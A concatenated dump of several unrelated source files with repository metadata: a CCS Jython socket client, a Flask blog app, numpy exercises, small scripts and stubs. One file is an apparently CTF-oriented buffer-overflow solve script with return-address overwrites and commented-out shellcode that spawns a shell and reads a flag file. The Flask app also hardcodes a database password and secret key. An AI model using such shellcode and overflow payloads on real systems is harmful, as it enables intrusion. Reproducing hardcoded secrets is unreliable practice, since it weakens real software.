] | permissive | lsst-camera-dh/jh-ccs-utils | 8c366c2cf3883944373a2aed02ee328c823a5cc7 | 4948df295311dff95d2b7d8e11f9ba392cd6b933 | refs/heads/master | 2022-03-09T09:37:31.640529 | 2022-01-17T03:27:47 | 2022-01-17T03:27:47 | 87,144,848 | 0 | 0 | NOASSERTION | 2022-01-17T03:27:48 | 2017-04-04T03:38:53 | Python | UTF-8 | Python | false | false | 4,898 | py | """
Socket connection interface to CCS Jython interpreter.
"""
import sys
import time
import re
import socket
import threading
import uuid
__all__ = ['CcsJythonInterpreter', 'CcsException', 'CcsExecutionResult']
class CcsExecutionResult:
"""Results class."""
def __init__(self, thread):
self.thread = thread
def getOutput(self):
"""Return the result of a jython command as a string."""
while self.thread.running:
time.sleep(0.1)
return self.thread.execution_output
class CcsException(Exception):
"""Exception class for CCS Jython interface."""
def __init__(self, value):
super(CcsException, self).__init__()
self.value = value
def __str__(self):
return repr(self.value)
class CcsJythonInterpreter:
"""Interface class to CCS Jython interpreter."""
def __init__(self, name=None, host=None, port=4444):
self.port = port
if host is None:
# Get local machine name
self.host = socket.gethostname()
else:
self.host = host
host_and_port = '{}:{}'.format(self.host, self.port)
try:
self.socket_connection = self._socket_connection()
print('Connected to CCS Python interpreter on host:port',
host_and_port)
except Exception as eobj:
print(eobj)
raise CcsException("Could not connect to CCS Python Interpreter " +
"on host:port " + host_and_port)
if name is not None:
name = name.replace("\n", "")
self.syncExecution("initializeInterpreter " + name)
def _socket_connection(self):
sc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sc.connect((self.host, self.port))
connectionResult = sc.recv(1024).decode('utf-8')
if "ConnectionRefused" in connectionResult:
raise CcsException("Connection Refused")
return sc
def aSyncExecution(self, statement):
return self.sendInterpreterServer(statement)
def syncExecution(self, statement):
result = self.sendInterpreterServer(statement)
# Calling .getOutput() here causes the object to wait for the
# underlying thread to stop running.
result.getOutput()
return result
def aSyncScriptExecution(self, filename):
with open(filename, "r") as fd:
fileContent = fd.read()
return self.sendInterpreterServer(fileContent)
def syncScriptExecution(self, filename, setup_commands=(), verbose=False):
if verbose and setup_commands:
print("Executing setup commands for", filename)
for command in setup_commands:
if verbose:
print(command)
self.syncExecution(command)
if verbose:
print("Executing %s..." % filename)
with open(filename, "r") as fd:
fileContent = fd.read()
result = self.sendInterpreterServer(fileContent)
# Calling .getOutput() here causes the object to wait for the
# underlying thread to stop running.
result.getOutput()
return result
def sendInterpreterServer(self, content):
thread_id = str(uuid.uuid4())
executor_thread = CcsPythonExecutorThread(thread_id,
self.socket_connection)
return executor_thread.executePythonContent(content)
class CcsPythonExecutorThread:
def __init__(self, thread_id, socket_connection):
self.socket_connection = socket_connection
self.thread_id = thread_id
self.output_thread = threading.Thread(target=self.listenToSocketOutput)
self.java_exceptions = []
def executePythonContent(self, content):
self.running = True
self.output_thread.start()
content = ("startContent:" + self.thread_id + "\n" +
content + "\nendContent:" + self.thread_id + "\n")
self.socket_connection.send(content.encode('utf-8'))
return CcsExecutionResult(self)
def listenToSocketOutput(self):
re_obj = re.compile(r'.*java.*[Ee]xception.*')
self.execution_output = ""
while self.running:
try:
output = self.socket_connection.recv(1024).decode('utf-8')
except Exception as eobj:
print(eobj)
raise CcsException("Communication Problem with Socket")
for item in output.split('\n'):
if re_obj.match(item):
self.java_exceptions.append(item)
if "doneExecution:" + self.thread_id not in output:
sys.stdout.write(output)
sys.stdout.flush()
self.execution_output += output
else:
self.running = False
del self.output_thread
| [
"jchiang@slac.stanford.edu"
] | jchiang@slac.stanford.edu |
fefc6b5b50f9d3cd14e87ba33e017f7615c0e42f | bd9dd79ee4fb392585a2597067eb29aeb9004cca | /main.py | e9ee06291b0d260bcf4ee00e1e5993a54661f871 | [] | no_license | suhachakka/blogz | 8a06c42d529f46c856c44c8dd29f59a070108711 | 85979524a98cbe44d8990f2b1de9adcda5953454 | refs/heads/master | 2020-04-01T15:27:57.343114 | 2018-10-25T05:36:11 | 2018-10-25T05:36:11 | 153,338,145 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,193 | py | from flask import Flask,request,redirect,render_template,session,flash
from flask_sqlalchemy import SQLAlchemy
from hashutils import make_pw_hash, check_pw_hash
import cgi
app = Flask(__name__)
app.config['DEBUG'] =True
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://blogz:mynewpass@localhost:8889/blogz'
app.config['SQLALCHEMY_ECHO'] = True
app.secret_key ='secret string'
db = SQLAlchemy(app)
class Blog(db.Model):
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(120))
body =db.Column(db.String(120))
#date = db.column(db.DateTime)
owner_id =db.Column(db.Integer, db.ForeignKey('user.id'))
def __init__(self,title,body,owner):
self.title = title
self.body = body
self.owner =owner
def __repr__(self):
return '<Blog %r>' % self.title
class User(db.Model):
id =db.Column(db.Integer,primary_key=True)
username =db.Column(db.String(50), unique=True)
pw_hash =db.Column(db.String(200))
blogs = db.relationship('Blog', backref ='owner')
def __init__(self,username,password):
self.username = username
self.pw_hash = make_pw_hash(password)
def __repr__(self):
return '<User %r>' % self.username
@app.route('/newpost')
def form():
return render_template('Addblogentry.html')
@app.route('/login', methods=['GET','POST'])
def login():
#u_error=''
#p_error=''
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == '':
flash('Invalid Username')
if password =='':
flash('Invalid Password')
user = User.query.filter_by(username=username).first()
#if user == None:
#flash('Username doesnot exists')
#if user and user.password == password:
if user and check_pw_hash(password, user.pw_hash):
session['username'] = username
flash('User Logged in')
return redirect('/newpost')
else:
flash('User doesnot exists')
return render_template('login.html')
@app.route('/signup', methods=['GET','POST'])
def sign_up():
us_error =''
ps_error = ''
vps_error = ''
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
v_pass = request.form['verify']
#if not existing_user:
if username == '' or username.isalpha() != True :
us_error='That\'s not a valid Username'
if len(username) > 20 or len(username) <3:
us_error='That\'s not a valid Username'
if len(password) >20 or len(password) < 3 or password == '':
ps_error='That\'s not a valid Password'
if v_pass != password or password == '' :
vps_error= 'password didn\'t match'
if not us_error and not ps_error and not vps_error:
existing_user = User.query.filter_by(username=username).first()
if not existing_user:
new_user = User(username,password)
db.session.add(new_user)
db.session.commit()
session['username'] = username
return redirect('/newpost')
else:
flash('A user with that Username already exists')
return render_template('signup.html',us_error=us_error,ps_error=ps_error,vps_error=vps_error)
@app.route('/logout')
def logout():
del session['username']
return redirect('/blog')
@app.route('/newpost',methods= ['GET', 'POST'])
def newpost():
t_error =''
b_error =''
title =request.form['title']
body =request.form['body']
if title == '' or body != '':
t_error ='please fill in the entry'
if body == '' or title != '':
b_error = 'please fill in the body'
owner= User.query.filter_by(username=session['username']).first()
#print("#$#$"+owner)
if title != '' and body != '' :
new_blog=Blog(title,body,owner)
db.session.add(new_blog)
db.session.commit()
#print("$$"+str(new_blog.id))
return redirect('/blog?id='+str(new_blog.id) )
else:
return render_template('Addblogentry.html',title=title,body=body,t_error=t_error,b_error=b_error)
@app.route('/blog')
def blogpost():
if request.args.get('id') != None:
indiv_id = request.args.get('id')
#print("$$$$$"+indiv_id)
blog = Blog.query.get(indiv_id)
print("$$$$$"+str(blog))
user=User.query.get(blog.owner_id)
print("$$$$$"+str(user))
return render_template('Individualentrypage.html',blog=blog,user=user)
if request.args.get('user') != None:
user_name= request.args.get('user')
#print("####$"+ user_name)
user = User.query.filter_by(username=user_name).first()
#print("####$"+ str(user.id))
blogs =Blog.query.filter_by(owner_id=user.id).all()
return render_template('singleuser.html',user=user,blogs=blogs)
if request.args.get('id') == None:
#blogs = Blog.query.all()
blogs= Blog.query.order_by(Blog.id).all() #sorting the order
users=User.query.all()
return render_template('Mainblogpage.html',blogs=blogs,users=users)
@app.route('/')
def index():
if request.args.get('user') != None:
user_name= request.args.get('user')
user =User.query.get(user_name)
blogs =Blog.query.get('user.id')
return render_template('singleuser.html',user=user,blogs=blogs)
if request.args.get('id') == None:
users=User.query.all()
return render_template('index.html',users=users)
@app.before_request
def require_login():
#TODO Managing login using session module
allowed_routes = ['login', 'blogpost','index','sign_up']
if request.endpoint not in allowed_routes and 'username' not in session:
return redirect("/login")
if __name__ == '__main__':
app.run()
| [
"suhasinichakka@gmail.com"
] | suhasinichakka@gmail.com |
30e1d63614fa8d56d2ca697cb2da652ee3a00995 | e836275adf8adca9b77acdd3d25bac157592a995 | /dyconnmap/cluster/__init__.py | 958f031b8568d142c88bb25e94a002ca0a8d42f5 | [
"BSD-3-Clause"
] | permissive | makism/dyconnmap | 3de6f482d1370bf25ec3813ddf576b675ed99d9e | cbef247e635d55cb1489ba1e429d9d472b501b56 | refs/heads/master | 2023-08-03T19:30:40.779333 | 2022-03-14T18:24:16 | 2022-03-14T18:24:16 | 98,643,787 | 67 | 25 | BSD-3-Clause | 2023-07-24T04:49:03 | 2017-07-28T11:37:17 | Python | UTF-8 | Python | false | false | 485 | py | # -*- coding: utf-8 -*-
"""
"""
# Author: Avraam Marimpis <avraam.marimpis@gmail.com>
from .ng import NeuralGas
from .mng import MergeNeuralGas
from .rng import RelationalNeuralGas
from .gng import GrowingNeuralGas
from .som import SOM
from .umatrix import umatrix
from .validity import ray_turi, davies_bouldin
__all__ = [
"NeuralGas",
"MergeNeuralGas",
"RelationalNeuralGas",
"GrowingNeuralGas",
"SOM",
"umatrix",
"ray_turi",
"davies_bouldin",
]
| [
"makhsm@gmail.com"
] | makhsm@gmail.com |
348f350bbc3a9e093133840b2fe0f9b2fc99a73a | b0785656f89cf86f26c3da081995e03ccb5606b7 | /prueba/urls.py | 0db1cb15dd2b5e8dd006f5cd065cfa06269a620f | [] | no_license | PosadaKaren/my-first-blog | 52c5cd854e371b34cb9a0d59de7262b298691f52 | 2be88bde06d2b21f4d5b0e2bc18c50b11b63ddaa | refs/heads/master | 2021-09-27T19:18:07.966578 | 2018-11-10T22:03:39 | 2018-11-10T22:03:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 804 | py | """prueba URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.urls import path, include
from django.contrib import admin
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('blog.urls')),
]
| [
"k_ar20@hotmail.com"
] | k_ar20@hotmail.com |
2acd30788872af9f27d55b0415a838e701839909 | e770bd84f9312557bfefbb049298ce2255f81e1a | /1800/iq_test_328_a.py | 446c897b179e7283f7432349a666f2a994d41323 | [] | no_license | Robson75/codeforces | a507a708a3537997b1593a42aa9a4b72cd3a42e0 | 327e12f0e90997ff2a26ed0085d18c1a62d8437b | refs/heads/master | 2023-04-16T08:01:19.283013 | 2021-04-28T18:10:37 | 2021-04-28T18:10:37 | 326,046,207 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,218 | py | class IqTest:
pass
def test_arithmetic(in_list):
arithmetic = True
current_nr = in_list[0]
dif = in_list[1] - in_list[0]
for nr in in_list[1:]:
if nr - current_nr != dif:
arithmetic = False
else:
current_nr = nr
if arithmetic:
next = nr + dif
return next
else:
return 42
def test_geometric(in_list):
geometric = True
for nr in in_list:
if nr == 0:
return False
else:
quotient = in_list[1] / in_list[0]
current_nr = in_list[0]
for nr in in_list[1:]:
if nr / current_nr != quotient:
geometric = False
else:
current_nr = nr
if geometric:
next = nr * quotient
if int(next) == 0 or int(next) / nr != quotient:
return 42
else:
return next
else:
return 42
if __name__ == "__main__":
in_numbers = list(map(int, input().split()))
answer_ari = test_arithmetic(in_numbers)
answer_geo = test_geometric(in_numbers)
if answer_ari != 42:
print(int(answer_ari))
else:
print(int(answer_geo))
| [
"rsamuelsson@gmail.com"
] | rsamuelsson@gmail.com |
a7ed9ed34b3e399bc48545d6a5e62d093e6a43aa | 421551e6ed321a2707d319719c58d4f2f4073fa3 | /opencv/addalpha/addalpha.py | 110779efb9f6b6feb000bfd832b1193d694bffff | [
"MIT"
] | permissive | masamichiyagi/tools | 60e57aa5923d45dff5bd65c8d5437fd687739654 | d94f64d8feb287306f2fdf0ba4c85a27b7f9f7a3 | refs/heads/master | 2023-06-22T03:23:15.178017 | 2023-06-12T09:44:40 | 2023-06-12T09:44:40 | 81,729,647 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,195 | py | # -*- coding: utf-8 -*-
import os, sys, glob, cv2
import argparse
import numpy as np
# If you use PIL, you can remove comment.
#from PIL import Image
#from PIL import ImageEnhance
# If you use matplotlib, you can remove comment.
#from matplotlib import pylab as plt
#################################################
## Gloval Variables Definition
#################################################
###################################
## Argument Parser
###################################
def arg_parser():
parser = argparse.ArgumentParser(description='OpenCV Filters')
parser.add_argument('-i', '--indir', dest='indir', help='input file directory', required=True)
parser.add_argument('-o', '--outdir', dest='outdir', help='output file directory', required=True)
parser.add_argument('-e', '--expansion', dest='expansion', help='expansion', default='jpg', required=False)
args = parser.parse_args()
if (not os.path.exists(args.indir)):
print ("input directory does not exists : " + args.indir)
sys.exit(1)
if (not os.path.exists(args.outdir)):
print ("annotation directory does not exists : " + args.outdir)
sys.exit(1)
return args
#################################################
## OpenCV filtering function
#################################################
def filtering(layer1filename):
im = cv2.imread(layer1filename)
height, width = im.shape[:2]
result = np.zeros((height, width, 4), dtype=np.uint8)
result[:,:,:3] = im[:,:,:3]
result[:,:,3] = 255
return result
###################################
## Main roop
###################################
if __name__ == "__main__":
args = arg_parser()
# Get image file lists
files = glob.glob(os.path.join(args.indir, '*.' + args.expansion))
files.sort()
for fname in files:
# OpenCV filtering function
result = filtering(fname)
# To save files, get output path
outpath = os.path.join(args.outdir, os.path.basename(fname))
# Save files.
# The case of Pillow
#result.save(outpath, 'JPEG')
# The case of OpenCV
cv2.imwrite(outpath + '.png', result)
| [
"yagi.masamichi@jp.fujitsu.com"
] | yagi.masamichi@jp.fujitsu.com |
580b18797f6bcd128bf024691e448bb0b188ad18 | 52b5773617a1b972a905de4d692540d26ff74926 | /.history/fish1_20200805130243.py | e999797ad429e042ebb73a7054817607af8ed019 | [] | no_license | MaryanneNjeri/pythonModules | 56f54bf098ae58ea069bf33f11ae94fa8eedcabc | f4e56b1e4dda2349267af634a46f6b9df6686020 | refs/heads/master | 2022-12-16T02:59:19.896129 | 2020-09-11T12:05:22 | 2020-09-11T12:05:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 509 | py | def fish(A,B):
# we place fish moving downwards to a downstream stack
# then when its not empty we'll check with the empty at A[i]
# if it eats that fish we deduct it from the alive fish and del from A
# otherwise we shall pop from the down stream stack
downStream = []
j = 0
aliveFish = len(A)
fishRemoved = 0
for j in range(len(B)):
if B[j] == 0:
while downStream !=[] and :
print(fish([4,3],[0,1]))
# print(fish([4,3,2,1,5],[0,1,0,0,0])) | [
"mary.jereh@gmail.com"
] | mary.jereh@gmail.com |
c8674dd07f9728c2aa55b1d99426f1a32d7c625e | 36651f57a513f029b9c502d05d082e680b4e6488 | /Pwn/Resignation/solve.py | 362b6408f65550ad3058f2a42511e7962dfcbd93 | [] | no_license | harris2001/CCSC2021 | 358c93c4402fedaedea08282ce2abf1af5a2b9eb | 62806fc1ab2cd1297dfb7beb7cab374a72cb71e2 | refs/heads/main | 2023-05-08T16:20:01.133310 | 2021-06-02T00:54:01 | 2021-06-02T00:54:01 | 372,963,502 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,730 | py | import struct
from pwn import *
import binascii
#r = remote("192.168.125.11",51337)
#print(r.recv())
pad = "A" * 32
#RET = struct.pack("<Q",0x000000400129)
RET = 0x000000400129
RSP = struct.pack("<Q",0x00000040012a)
RIP = struct.pack("<Q",0x7fffffffe4f0)
RIP = "\xc0\xe4\xff\xff\xff\x7f\x00\x00"
#shellcode = binascii.hexlify(b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")
NOPs = "\x90" * 100
#NOP = binascii.unhexlify(NOPs)
toSend=(pad + str(p64(RET))[2:] + str(RSP)[2:] + str(RIP)[2:])#+ shellcode)
print(toSend)
#r.send(binascii.hexlify(toSend).digest())
#print(r.recv())
#!/usr/bin/env python
# from pwn import *
# p = process("./pwn")
# offset = 32
# # File-reader shellcode (Linux - x86)
# # from: http://shell-storm.org/shellcode/files/shellcode-73.php
# shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
# shellcode += "\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
# shellcode += "\x80\x89\xc6\xeb\x06\xb0\x01\x31"
# shellcode += "\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
# shellcode += "\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
# shellcode += "\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
# shellcode += "\x04\xb3\x01\xb2\x01\xcd\x80\x83"
# shellcode += "\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
# shellcode += "\xff"
# shellcode += "/home/pwn1/flag.txt";
# # exploit code
# print(p.recvuntil("\n"))
# stack_addr = 0x7fffffffe4c0
# info("Stack address: {0}".format(hex(stack_addr-32)))
# payload = "A" * offset + str(p64(stack_addr))[2:] + "\x90" * 32 + shellcode
# print(hexdump(payload))
# info("Sending {0} bytes as payload ...".format(len(payload)))
# p.sendline(payload)
# p.interactive() # Get content of file and exit. | [
"hh1u20@southampton.ac.uk"
] | hh1u20@southampton.ac.uk |
04a4bbabe90bf39c826389d176b96f78de0d2215 | dc02490dc1cdb0c04dfeb7e091842658437e4877 | /numpy-100.py | 85bc081a51c29dfadfd75dc15aa4ed77b9f6984d | [
"MIT"
] | permissive | 2sang/numpy-100 | 0550a5ea9369888e410b22826f40d901c80269c1 | de87ca984ca88cbc1dafbfda016ce56c74f833bb | refs/heads/master | 2020-03-26T06:08:09.002218 | 2018-08-14T13:40:51 | 2018-08-14T13:40:51 | 144,590,927 | 0 | 0 | null | 2018-08-13T14:26:52 | 2018-08-13T14:26:52 | null | UTF-8 | Python | false | false | 2,984 | py | # 1
import numpy as np
# 2
print(np.__version__)
np.show_config()
# 3
z = np.zeros((10))
print(z, z.shape)
# 4
f32 = np.array([1, 2, 3], dtype=np.float32)
print("f32.size: {}".format(f32.size))
print("f32.itemsize: {}".format(f32.itemsize))
print("memory size of f32: {}".format(f32.size * f32.itemsize))
f64 = np.array([1, 2, 3], dtype=np.float64)
print("f64.size: {}".format(f64.size))
print("f64.itemsize: {}".format(f64.itemsize))
print("memory size of f64: {}".format(f32.size * f64.itemsize))
z = np.zeros((10, 20))
print("z.size: {}".format(z.size))
print("z.itemsize: {}".format(z.itemsize))
print("memory size of z: {}".format(z.size * z.itemsize))
# 5
print(np.info(np.add))
# 6
z = np.zeros(10)
z[4] = 1
print(z)
# 7
a = np.arange(10, 50)
print(a)
# 8
print(a[::-1])
# 9
print(np.arange(9).reshape(3, 3))
# 10
a = np.array([1, 2, 0, 0, 4, 0], dtype=np.int64)
print(a.nonzero())
print(np.nonzero(a))
# 11
print(np.eye(3))
# 12
print(np.random.random((3, 3, 3)))
# 13
a = np.random.random((10, 10))
print(np.min(a), np.max(a))
print(a.min(), a.max())
# 14
a = np.random.random((30))
print(np.mean(a))
print(a.mean())
# 15, Notice the difference between x[:][3] and x[:, 3]
a = np.ones((4, 4))
a[1:-1, 1:-1] = 0
print(a)
# 16. This might be useful.
a = np.arange(9).reshape(3, 3)
print(np.pad(a, (1, 2), 'constant'))
print(np.pad(a, ((1, 2), (2, 1)), 'constant'))
# 17
# NaN, False, False, NaN, False
print("0*np.nan: {}".format(0*np.nan))
print("np.nan == np.nan: {}".format(np.nan == np.nan))
print("np.inf > np.nan: {}".format(np.inf > np.nan))
print("np.nan - np.nan: {}".format(np.nan - np.nan))
print("0.3 == 3 * 0.1: {}".format(0.3 == 3 * 0.1))
# 18 #
print(np.diag(1+np.arange(4), k=-1))
# 19
cb = np.zeros((8, 8))
cb[::2, ::2] = 1
cb[1::2, 1::2] = 1
print(cb)
# 20
a = np.arange(6*7*8).reshape(6, 7, 8)
print(np.unravel_index(100, (6, 7, 8)))
# 21
print(np.tile(np.eye(2), (4, 4)))
# 22
a = np.random.randint(100)*np.random.random((5, 5))
print((a - np.min(a)) / (np.max(a) - np.min(a)))
# 23
# 24
a = np.arange(15).reshape(5, 3)
b = np.ones((3, 2))
print(np.dot(a, b))
print(a @ b)
# 25
a = np.arange(11)
a[(a > 3) & (a < 8)] *= -1
print(a)
# 26
print(sum(range(5), -1))
from numpy import sum
print(sum(range(5), -1))
# 27
z = np.array([2])
print("z**z: {}".format(z**z))
print("2 << z >> 2: {}".format(2 << z >> 2))
print("z <- z: {}".format(z <- z))
print("1j*z: {}".format(1j*z))
print("z/1/1: {}".format(z/1/1))
print("z<z>z: {}".format(z<z>z))
# 28
# 29
z = np.random.uniform(-10, 10, 10)
print(z)
print(np.copysign(np.ceil(np.abs(z)), z))
# 30
a = np.array([1, 2, 2, 2, 3, 1, 7])
b = np.array([0, 0, 4, 2, 1, 1, 1])
print(np.intersect1d(a, b))
# 33
today = np.datetime64('today', 'D')
tomorrow = today + np.timedelta64(1, 'D')
yesterday = today - np.timedelta64(1, 'D')
print("np.datetime64('today', 'D'): {}".format(np.datetime64('today', 'D')))
print("yesterday: {}".format(yesterday))
print("tomorrow: {}".format(tomorrow))
| [
"sangsulee92@gmail.com"
] | sangsulee92@gmail.com |
f375a3bde00bd757aff3ef6fd037f9616457b90b | 027412adaa08159dfeccfc5bacba7821ca58c0d9 | /api/models/user.py | b94b46263f8fa14e79b8aeaf0ed9442f5588e153 | [] | no_license | turboazot/rest-ecommerce | 34882c049c16ad738eed065dfb5507a149dde286 | 7860a5768d564525a6e99eb8987d7a4019ce4bce | refs/heads/master | 2023-08-21T18:53:25.348036 | 2021-10-12T06:47:30 | 2021-10-12T06:47:30 | 398,105,735 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 357 | py | from api.extensions import db
from sqlalchemy.orm import relationship
class User(db.Model):
__tablename__ = 'users'
query = db.default_session.query_property()
id = db.Column('id', db.String(36), primary_key=True)
username = db.Column('username', db.String(127), unique=True)
def __repr__(self):
return f'<User "{self.id}">'
| [
"zntu1995@gmail.com"
] | zntu1995@gmail.com |
7c6e4979f03a52c72f37bcf4462ef7d231bdaff2 | 57ff9c6970684f38d68e491f56ee5f921ad82c8a | /entertainment/migrations/0001_initial.py | e68a38c56708010fea1132b4d3c02c5617b4e34e | [] | no_license | simonasbuj/projectRat | fa7513cd7dded4988b28c9e7de4808dc73d8554c | 60249241ff88e7a9427d57e99f7f5f5694c27a0e | refs/heads/master | 2022-12-21T00:35:59.606216 | 2019-01-07T19:53:56 | 2019-01-07T19:53:56 | 132,229,629 | 0 | 0 | null | 2022-12-08T02:08:20 | 2018-05-05T08:35:46 | JavaScript | UTF-8 | Python | false | false | 1,162 | py | # Generated by Django 2.0.5 on 2018-10-03 17:36
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Wish',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=100)),
('publish_date', models.DateField(blank=True, null=True)),
('description', models.CharField(max_length=255)),
('price', models.DecimalField(blank=True, decimal_places=2, max_digits=5, null=True)),
('publisher', models.CharField(blank=True, max_length=100, null=True)),
('created_at', models.DateTimeField(default=django.utils.timezone.now)),
('opened_at', models.DateTimeField(blank=True, null=True)),
('status', models.CharField(choices=[('n', 'new'), ('c', 'closed'), ('s', 'successful'), ('o', 'open')], default='n', max_length=1)),
],
),
]
| [
"esbeecorpuration@gmail.com"
] | esbeecorpuration@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.